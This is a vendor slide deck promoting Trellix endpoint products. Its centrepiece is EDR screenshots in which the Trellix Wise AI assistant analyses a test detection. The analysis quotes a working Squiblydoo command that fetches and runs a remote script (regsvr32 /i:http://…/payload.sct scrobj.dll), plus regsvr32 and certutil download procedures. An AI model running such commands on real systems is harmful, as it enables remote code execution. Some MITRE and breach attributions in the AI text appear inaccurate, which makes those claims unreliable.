

COMGUARD

cyber security masters


Endpoint Security

Nestřežená brána do podnikové sítě

Martin Votava, Sales Director, COMGUARD

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
Trellix Product Lines



Formerly FireEye

Formerly McAfee

<p><u>Endpoint Security (ENS)</u></p> <p>Next Generation Antivirus</p> <ul style="list-style-type: none"> • Managed & Standalone • Suitable for Air-Gapped • Windows, Linux, Mac and Command Line Options 	<p><u>Endpoint Forensics (HX)</u></p> <p>Next Generation Forensics</p> <ul style="list-style-type: none"> • Managed • Suitable for Air-Gapped • Windows, Linux, and Mac 	<p><u>Endpoint Detection & Response (EDR)</u></p> <p>Endpoint Detection, Investigation and Response</p> <ul style="list-style-type: none"> • Managed • Requires Cloud • Windows, Linux, and Mac
<p><u>Device Control</u></p> <p>Control of Endpoint Devices</p> <ul style="list-style-type: none"> • Managed & Standalone* • Suitable for Air-Gapped • Windows and Mac 	<p><u>MOVE Security</u></p> <p>AV for Virtual Environments (Offload Scanning)</p> <ul style="list-style-type: none"> • Managed & Standalone • Suitable for Air-Gapped • Windows and Linux* 	<p><u>Threat Intelligence Exchange</u></p> <p>Local Threat Intelligence</p> <ul style="list-style-type: none"> • Managed • Suitable for Air-Gapped* • Vmware, Hyper-V, Citrix
<p><u>Application & Change Control</u></p> <p>Black Box Technology</p> <ul style="list-style-type: none"> • Managed & Standalone • Suitable for Air-Gapped • Windows and Linux 	<p><u>Policy Auditor</u></p> <p>System Compliance Auditing</p> <ul style="list-style-type: none"> • Managed • Suitable for Air-Gapped • Windows, Linux and Mac 	<p><u>Mobile Security</u></p> <p>Security for Mobile Devices</p> <ul style="list-style-type: none"> • Managed • MDM Integration • iOS and Android



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
COMGUARD




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- Trellix and Sky-High Partnership** provides CASB, DLP, Web Security and Threat Protection for multi-cloud services
- Helix Connect** Extended Detection and Response Platform (XDR)
- Threat Intelligence** Insights, GTI, DTI, ATLAS, IntaaS
- SIEM** On-premises next generation SIEM, analytics, log storage and anomaly detection
- ePO** centralized management and automated responses
- NSP & Network Forensics** advanced malware attack detection, lateral movement and forensics
- Intelligent Sandbox** next generation sandbox technology and integrations
- Local Threat Intelligence** on premises threat intelligence and immediate remediation
- Endpoint Security** Anti-Malware, EDR, Forensics, Integrity Control and Device Control





Trellix

Trellix Wise

Generative AI

Trellix Wise for EDR

Use Cases

- Natural language query for historical and real-time search
- Multilingual threat hunting
- Accelerated investigations
- Dossier Mode provides executive summaries of an incident
- Interactive Mode enables analysts to uncover new security insights
- Knowledge Graph visually shows the attack path

Multilingual Threat Hunting

Trellix | EDR

Historical Search

GENERATED QUERY
IpAddress != "10.1.1.243"

Showing 500 of 50,000 results

Drag a column header here to group by that column

Trace Date	Detection Date	Artifact	Activity	Event Details	Device Name
<input type="text" value="dd/mm/yyyy"/>	<input type="text" value="dd/mm/yyyy"/>				
Apr 15, 2024 9:29:53 AM	Apr 15, 2024 9:30:32 AM	Network	Network Accessed	Unique RuleId: 19000, Network AccessType: connection_opened, Context Trace Id: 4fa5ca2c-02e0-4bf7-8e77-155d-d67d4512, Pid: 4596, Parent Process Name: C:\Windows\System32\svchost.exe, Process Sha2: 643EC58E82E0272C97C2A59F6020970D881AF19C0AD5029DB9C958C13B6558C7, Ppid: 4596, Trace Id: dfe256d0-39b7-4469-b077-b7529cd99310, Network Protocol: tcp, MAGUID: A5196E62-F0BC-11EE-3E35-005056AC72AD, Network DnsName: ["proxy.ess.gslb.entsec.com"], Network SrcIp: 10.26.44.174, Network SrcPort: 56266, IpAddress: 10.194.0.190, Network Direction: outbound, OS: windows, Parent Trace Id: dbf094e7-9192-4743-b263-c7edebf87444, Network DstPort: 90	5SRW200464
Apr 15, 2024 9:24:05 AM	Apr 15, 2024 9:24:21 AM	Network	Network Accessed	Unique RuleId: 19000, Network AccessType: connection_opened, Context Trace Id: 841b488e-4d48-4e45-8b4d-d7fed1556f1c, Pid: 2796, Parent Process Name: C:\Windows\System32\svchost.exe, Process Sha2: F13DE58416730D210DAB465B242E9C949FB0A0245EEF45B07C381F0C6C8A43C3, Ppid: 2796, Trace Id: 50caf2ec-3df0-477a-9bef-6fd86e12f754, Network Protocol: tcp, MAGUID: 062D6384-F0BD-11EE-16F5-005056AC10BC, Network DnsName: ["proxy.ess.gslb.entsec.com"], Network SrcIp: 10.26.44.173, Network SrcPort: 55469, IpAddress: 10.194.0.190, Network Direction: outbound, OS: windows, Parent Trace Id: 2f59d605-776e-4169-9397-5d4ae3568a65, Network DstPort: 909	5SRW1022H264
Apr 15, 2024 9:23:37 AM	Apr 15, 2024 9:23:45 AM	Network	Network Accessed	Unique RuleId: 19104, Network AccessType: connection_opened, Context Trace Id: e3f544b6-fffd-4769-bdf9-16f151a470c3, Pid: 5512, Parent Process Name: C:\Windows\System32\svchost.exe, Process Sha2: 2B105FB153B1BCD619B95028612B3A93C60B953EEF6837D3BB0099E4207AAF6B, Ppid: 5512, Trace Id: ab437d89-d94e-44a1-a458-19ff1d1e6e2a, Network Protocol: tcp, MAGUID: E2710630-F0BC-11EE-15AF-005056ACFEB2, Network DnsName: ["wpad.de.bea.lab","pacfile.itm.mcafee.com"], Network SrcIp: 10.26.44.172, Network SrcPort: 51966, IpAddress: 10.44.93.239, Network Direction: outbound, OS: windows, Parent Trace Id: e1b1c48d-bb4b-4f65-9ae4-5291e4ce643f, Networ	5SRW10RS5X64

Accelerated Investigations Using Trellix Wise

Trellix | EDR

Monitoring

4 Total Threats

2 High

2 Medium

0 Low

2 minutes ago

Past 30 days

Threats by Ranking

Filter by keyword

View: All

- Command Line
Interpreter:powershell.exe
Apr 8, 2024 3:54:00 AM
- Threat-Sample2.exe
Apr 8, 2024 2:16:24 AM
- DG_x86.exe
Apr 8, 2024 2:07:55 AM
- dash
Mar 21, 20... 2:34:32 AM

Threat-Sample2.e...

Initial trigger: Trace detection

First detection: Feb 12, 2024 5:40:22 AM

Last detection: Apr 8, 2024 2:16:24 AM

Affected devices: 2

Age: 64 days

Take Action

Process Attributes

First Name: Threat-Sample2.exe

MDS: 247FC96F37798A3022ADB9E47BA5DA93

SHA-1: 28AFF3CAC780A5F7D75064C671DC5F67A5FDC39B

SHA-256: 211C2E02764A3B683948E08E44FB73B83FECDDAA6B567A40DBC1AAEB6EE7DE1

Threat Details

Device: 1P4W1022H264 Mar 26, 2024 8:55:23 AM 2 affected devices

Threat Behavior

Techniques Observed(5)	MITRE ATT&CK™ Matrix	Suspicious Indicators(9)
Windows Management Instrumentation T1047 (Execution)		Portable Executable (PE) file created/moved into folder commonly used by malware
Windows Command Shell T1059.003 (Execution)		Suspicious process created a file at a commonly abused path
Ingress Tool Transfer T1105 (Command and Control)		Suspicious binary executed cmd.exe
Regsvr32 T1218.010 (Defense Evasion)		Windows Command Shell containing a public IP address
NTFS File Attributes T1564.004 (Defense Evasion)		Process running from suspicious path attempted to launch cmd.exe

Process Activity

Summary View


Threat-Sample2.exe	Observed (compare to SANS DFIR)
Threat-Sample2.exe	Image path: C:\Users\cdaauto\Desktop\threatfiles\threatfiles\Threat-Sample2.exe
cmd.exe	Type: -
cmd.exe	Parent process: -
regsvr32.exe	Command Line: "C:\Users\cdaauto\Desktop\threatfiles\threatfiles\Threat-Sample2.exe"
	Process ID: 5320

Analyze Detection

Interactive Mode

Interactive Mode enables the discovery of new insights and their MITRE mappings through guided threat hunting by helping analysts answer questions:

- When did the incident happen?
- What do I do with this information?
- What actions can I take?
- Where can I get more information?



Monitoring

4 Total Threats 2 High 2 Medium 0 Low

11 minutes ago Past 30 days ▾

Threats by Ranking ▾

Filter by keyword

View: All ▾

Command Line Interpreter:powershell.exe	Apr 8, 2024 3:54:00 AM
Threat-Sample2.exe	Apr 8, 2024 2:16:24 AM
DG_x86.exe	Apr 8, 2024 2:07:55 AM
dash	Mar 21, 20... 2:34:32 AM

Threat-Sample2.e...

Initial trigger: Trace detection
 First detection: Feb 12, 2024 5:40:22 AM
 Last detection: Apr 8, 2024 2:16:24 AM
 Affected devices: 2
 Age: 64 days

Take Action ▾

Process Attributes

First Name: Threat-Sample2.exe

MDS: 247FC96F37798A3022ADB9E47BA5DA93

SHA-1: 28AFF3CAC780A5F7D75064C671DC5F67ASFDC39B

SHA-256: 211C2E02764A3B683948E08E44FB73B83FECDDAA6B567A40DBC1AAEB6EE7DE1

Threat Details

> Device: 1P4W1022H264 Mar 26, 2024 8:55:23 AM 2 affected devices

Threat Behavior

Techniques Observed(5)	MITRE ATT&CK™ Matrix	Suspicious Indicators
Windows Management Instrumentation T1047 (Execution)		Portable Executable
Windows Command Shell T1059.003 (Execution)		Suspicious process
Ingress Tool Transfer T1105 (Command and Control)		Suspicious binary
Regsvr32 T1218.010 (Defense Evasion)		Windows Command
NTFS File Attributes T1564.004 (Defense Evasion)		Process running fr

Process Activity

Summary View

Threat-Sample2.exe	Observed (compare to SANS DFIR)
Threat-Sample2.exe	
cmd.exe	
cmd.exe	
regsvr32.exe	

Image path	C:\Users\cdaaauto\Desktop\threatfiles\threatfi
Type	-
Parent process	-
Command Line	"C:\Users\cdaaauto\Desktop\threatfiles\threat
Process ID	5320

Detection Analysis

Summary:

The summary of the events indicates that there is a suspicious process execution involving the Regsvr32.exe utility to potentially bypass application whitelisting security controls. The most important event is the execution of the Regsvr32.exe process with a command-line parameter that references a public IP address and a script file (payload.sct). This suggests a potential Command and Control (C2) activity or a Squiblydoo attack. The investigation should start by analyzing the Regsvr32.exe process and the associated script file. The suspicious processes include Regsvr32.exe, Cmd.exe, and the Threat-Sample2.exe executable. The detection was first observed on the host with the hostname 1P4W1022H264.

keyPoints:

- The Regsvr32.exe process was executed with command-line parameters that reference a public IP address and a script file (payload.sct), which is a common technique used in Squiblydoo attacks to bypass application whitelisting controls.
- The Threat-Sample2.exe executable was executed, which is a suspicious process that created and deleted a DLL file (python27.dll) in the temporary directory.
- The Cmd.exe process was executed multiple times, potentially to execute additional commands or scripts.
- The events suggest a potential attempt to establish a Command and Control (C2) channel or to execute malicious code on the system.
- The detection was first observed on the host with the hostname 1P4W1022H264, which should be the primary focus of the investigation.

RATE THIS RESPONSE 🌱 🗨️

Provide more Detail Brief me on related MITRE TTPs

Generate a Knowledge Graph Suggest some Recommended Actions

Assess Accuracy Show Device Information

Tell me about Related Breaches

Investigative Context

More Details

1

Summary:

The summary of the events indicates that there is a suspicious process execution involving the Regsvr32.exe utility to potentially bypass application whitelisting security controls. The most important event is the execution of the Regsvr32.exe process with a command-line parameter that references a public IP address (216.58.194.85) and a script file (payload.sct). This suggests a potential Command and Control (C2) activity or a Squiblydoo attack. The investigation should start by analyzing the Regsvr32.exe process and the associated script file. The suspicious processes include Regsvr32.exe, Cmd.exe, and the Threat-Sample2.exe executable. The detection was first observed on the host with the hostname 1P4W1022H264.

keyPoints:

- Suspicious Regsvr32.exe Execution
 - The Regsvr32.exe process was executed with the command-line parameters "/u /n /s /i:http://216.58.194.85/folder/payload.sct scrobj.dll". This is a common technique used in Squiblydoo attacks to bypass application whitelisting controls by executing a script file from a remote location.
 - The Regsvr32.exe process was executed from the path "C:\Windows\System32\regsvr32.exe", which is a legitimate Windows utility but can be abused by attackers.
 - The user account "CDA" executed the Regsvr32.exe process, which has a high integrity level of 3.0, indicating potential privilege escalation.
- Suspicious Cmd.exe Executions
 - The Cmd.exe process was executed multiple times, potentially to execute additional commands or scripts.
 - One of the Cmd.exe executions used the command-line "cmd /c ""REGSVR32 /u /n /s /i:http://216.58.194.85/folder/payload.sct scrobj.dll""", which is similar to the Regsvr32.exe execution and suggests a multi-stage attack.
 - The Cmd.exe processes were executed from the path "C:\Windows\System32\cmd.exe", which is a legitimate Windows utility but can be abused by attackers.
- Suspicious Threat-Sample2.exe Execution
 - The Threat-Sample2.exe executable was executed, which is a

Related MITRE Information

2

T1218.010 : Regsvr32

Summary: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs) on Windows systems. Adversaries may abuse Regsvr32.exe to proxy execution of malicious scripting code.

Description: The Regsvr32.exe process (Process ID 1580) was executed with the command-line "REGSVR32 /u /n /s /i:http://216.58.194.85/folder/payload.sct scrobj.dll". This command attempts to download and execute a script file (payload.sct) from a remote public IP address (216.58.194.85). This technique is known as "Squiblydoo" and is commonly used by adversaries to bypass application whitelisting and execute malicious code. The goal is to proxy execution of malicious scripts by abusing a trusted Windows utility.

Adversary Insights: Adversaries may use this technique to bypass application whitelisting solutions and execute malicious code on compromised systems.

Why are Observed Actions for MITRE: The observed execution of Regsvr32.exe with the /i parameter and a remote script file aligns with the MITRE ATT&CK technique T1218.010 (Regsvr32).

Related Tactics: Defense Evasion (Tactic ID: TA0005), Execution (Tactic ID: TA0002)

Procedures Include:

1. Regsvr32.exe /s /u /i:https://example.com/file.sct scrobj.dll (Download and execute a script from a remote location)
2. Regsvr32.exe /s /n /e /u /i:https://example.com/file.sct scrobj.dll (Execute a script from a remote location without prompting)
3. Regsvr32.exe /s /n /i:file.sct scrobj.dll (Execute a local script file)
4. Regsvr32.exe /s /u /i:file.sct scrobj.dll (Execute a local script file and unregister the DLL)

5. Regsvr32.exe /s /n /e /u /i:file.sct scrobj.dll (Execute a local script file without prompting and unregister the DLL)

T1059.003 : Windows Command Shell

Summary: Adversaries may abuse the Windows Command Shell (cmd.exe) to execute commands, scripts, or binaries during the course of an operation.

Description: Multiple instances of the Cmd.exe process were executed, potentially to run additional commands or scripts. One instance (Process ID 9248) executed the command "C:\Windows\system32\cmd.exe /c cmd /c ""REGSVR32 /u /n /s /i:http://216.58.194.85/folder/payload.sct scrobj.dll""", which invokes the Regsvr32.exe utility to execute a remote script file (payload.sct) from a public IP address (216.58.194.85). Another instance (Process ID 8552) executed the command "cmd /c ""REGSVR32 /u /n /s /i:http://216.58.194.85/folder/payload.sct scrobj.dll""", which is similar to the previous command.

Adversary Insights: Adversaries may use the Windows Command Shell to execute various commands, scripts, or binaries during different stages of an operation, such as gaining initial access, executing payloads, or performing lateral movement.

Why are Observed Actions for MITRE: The observed execution of Cmd.exe to invoke the Regsvr32.exe utility and execute a remote script aligns with the MITRE ATT&CK technique T1059.003 (Windows Command Shell).

Related Tactics: Execution (Tactic ID: TA0002)

Procedures Include:

1. cmd.exe /c <command> (Execute a single command)
2. cmd.exe /k <command> (Execute a command and keep the command prompt open)
3. cmd.exe /c "script.bat" (Execute a batch script)
4. cmd.exe /c "powershell.exe -EncodedCommand <encoded_command>" (Execute an encoded PowerShell command)
5. cmd.exe /c "certutil.exe -urlcache -split -f https://example.com/file.exe file.exe" (Download a file using certutil.exe)

Detection Accuracy for Confidence

▼ Detection Accuracy

The detection and related suspicious indicators appear to be accurate and reasonable based on the provided events. Here's a step-by-step explanation:

1. Regsvr32.exe Process Execution:

- The Regsvr32.exe process was executed with command-line parameters that reference a public IP address (216.58.194.85) and a script file (payload.sct).
- This is a common technique used in Squiblydoo attacks to bypass application whitelisting controls by abusing the functionality of the Regsvr32.exe utility.
- The command-line parameters "/u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll" suggest an attempt to register the script file with the system, which could lead to the execution of malicious code.

2. Threat-Sample2.exe Executable:

- The Threat-Sample2.exe executable was executed, which is a suspicious process that created and deleted a DLL file (python27.dll) in the temporary directory (C:\Users\cdaaauto\AppData\Local\Temp_MEI53202).
- The creation and deletion of this DLL file within a short time frame is a common technique used by malware to hide its presence and avoid detection.

3. Cmd.exe Process Execution:

- Multiple instances of the Cmd.exe process were executed, potentially to execute additional commands or scripts.
- The execution of Cmd.exe from the Threat-Sample2.exe process and the Regsvr32.exe process suggests a potential attempt to execute further malicious actions.

4. Host Identification:

- The detection was first observed on the host with the hostname 1P4W1022H264, which should be the primary focus of the investigation.


1

Overall, the detection and related suspicious indicators are accurate and reasonable based on the provided events. The combination of the Regsvr32.exe process execution, the Threat-Sample2.exe executable, and the multiple Cmd.exe process executions strongly suggests a potential attempt to bypass security controls, execute malicious code, and establish a Command and Control (C2) channel on the affected host.

RATE THIS RESPONSE



Knowledge Graph



Which user?
What file of application?
Where?
How?

Guided Response Actions

Recommended Actions

1

2

3

The next steps should focus on preserving the evidence and further investigating the suspicious activities observed on the host with the hostname 1P4W1022H264. The Regsvr32.exe process execution with the public IP address and script file reference indicates a potential attempt to establish a Command and Control (C2) channel or execute malicious code on the system. The Threat-Sample2.exe executable and associated DLL file creation and deletion in the temporary directory are also highly suspicious. To mitigate the risk, the SOC analyst should consider isolating the affected host, but should carefully evaluate the potential business impact of this action. The evidence should be preserved by collecting forensic images of the affected host, capturing network traffic logs, and analyzing the Regsvr32.exe process and the referenced script file. The data exposure assessment should consider the potential for data exfiltration or further compromise of the system. The business impact could be significant if the attack is successful, as it may lead to unauthorized access, data breaches, or disruption of critical business operations. This type of attack is often associated with advanced persistent threat (APT) groups or other sophisticated threat actors, and a thorough investigation and response plan is crucial to address the potential risks.

RATE THIS RESPONSE

- Evidence Preservation
- Host Isolation
- Data Exposure Assessment

Device Risk Assessment

Device Information

Based on the provided detections and events, the following device/endpoint information is evident:

Device Name: 1P4W1022H264
User Name: cdaauto
OS: Windows 10 version 10.0.19041
IP Addresses: 10.26.124.25
MAC Address: 00:50:56:ac:5c:35

The context of this device suggests it is likely a workstation or desktop system, as it is running a client version of Windows 10 and the user account "cdaauto" is accessing the system. There are no clear indications that this is a test or development environment, server, or specialized system.

The key evidence supporting this includes:

- The Windows 10 client operating system version
- The user account "cdaauto" accessing the system
- The presence of a desktop application, "Threat-Sample2.exe", being executed on the system

Overall, the device appears to be a standard Windows 10 workstation or desktop system, potentially belonging to a regular user or employee within the organization.


RATE THIS RESPONSE

- Comprehensive Device Details
- Attack Surface Details
- Enterprise Risk Value

Analyze Detection

Dossier Mode

Dossier Mode provides executive summaries of an incident that details what happened, where it happened, when it happened, and how to investigate and remediate quickly.



▼ MITRE Techniques and Tactics

- **Windows Management Instrumentation (T1047)**
The use of regsvr32.exe to execute a payload is a known technique (T1047) used by adversaries to abuse the Windows Management Instrumentation (WMI) for execution and defense evasion. This technique allows adversaries to execute arbitrary code by leveraging the trusted regsvr32.exe utility.
- **Windows Command Shell (T1059.003)**
The events show the execution of cmd.exe, which is a Windows command shell utility. Adversaries often use command shells (T1059.003) to execute malicious code, perform reconnaissance, and move laterally within a compromised environment.
- **Ingress Tool Transfer (T1105)**
The command line used by regsvr32.exe includes a public IP address (216.58.194.85) from which a payload is downloaded. This is an example of the Ingress Tool Transfer technique (T1105), where adversaries transfer tools or malicious code from a remote system to the compromised host.

▼ Known Breaches

- **SolarWinds Supply Chain Attack**
The SolarWinds supply chain attack, discovered in December 2020, involved the use of regsvr32.exe to execute malicious payloads. The adversaries leveraged the trusted SolarWinds software to deliver the SUNBURST malware, which used regsvr32.exe to execute additional malicious components. While the attack vector differs, the use of regsvr32.exe for execution is a common technique observed in both incidents.
- **Emotet Malware**
Emotet, a notorious banking Trojan, has been known to use regsvr32.exe to execute malicious payloads. The malware often employs techniques like downloading payloads from remote servers and using legitimate utilities like regsvr32.exe for execution, similar to the observed events. However, Emotet primarily targets financial institutions, while the current incident appears to be more widespread.

▼ Recommendations

- **Incident Response**
The affected host (1P4W1022H264) should be isolated and investigated thoroughly. Evidence such as memory dumps, disk images, and network traffic captures should be collected and preserved for further analysis. A comprehensive risk assessment should be performed to determine the potential data exposure and business impact.
- **Malware Analysis**
The downloaded payload (payload.sct) should be analyzed in a secure environment to understand its capabilities, persistence mechanisms, and potential impact. Indicators of Compromise (IoCs) should be extracted and shared with relevant stakeholders for detection and prevention purposes.

RATE THIS RESPONSE  

Recap of Trellix Endpoint Protection Stack

High-level overview of what it does and why it would matter

Component Name	What it does:	Why needed?	Stakeholder
Trellix ePO	Central management of endpoint protection policies and reporting	Scalable, On-premises, SaaS,	Workplace and Sec Ops Team
Trellix ENS	NGAV, Anti-Malware and Threat Protection using Intelligence, Signatures, Exploit Prevention, Firewall and Behavioural Rules.	Compliance, Award-winning protection, highly configurable, customized rules, alternative to Defender; supplement HX or other EDR	Workplace and Sec Ops Team
Trellix Insights	Taking proactive approach to prevent attacks before attacks happen. Ability to enhance security posture.	Understands trending threats across countries / industries.	Sec Ops Team
Trellix TIE	Add local file reputations from threat intelligence and sandbox.	Reduce MTTR, add own indicators of compromise for better protection	Sec Ops Team
Trellix EDR	AI-guided investigation. Allows tier 1 incident responders to do more. Threat hunting.	Detect threats that bypass prevention tools; investigate incidents; hunt for new threats	Sec Ops Team
Trellix Forensics (HX)	Proactive threat detection, investigation, forensics and hunting	Investigate incidents, root cause analysis; forensic investigations; replace Sysmon or 3 rd Party forensics	Sec Ops Team

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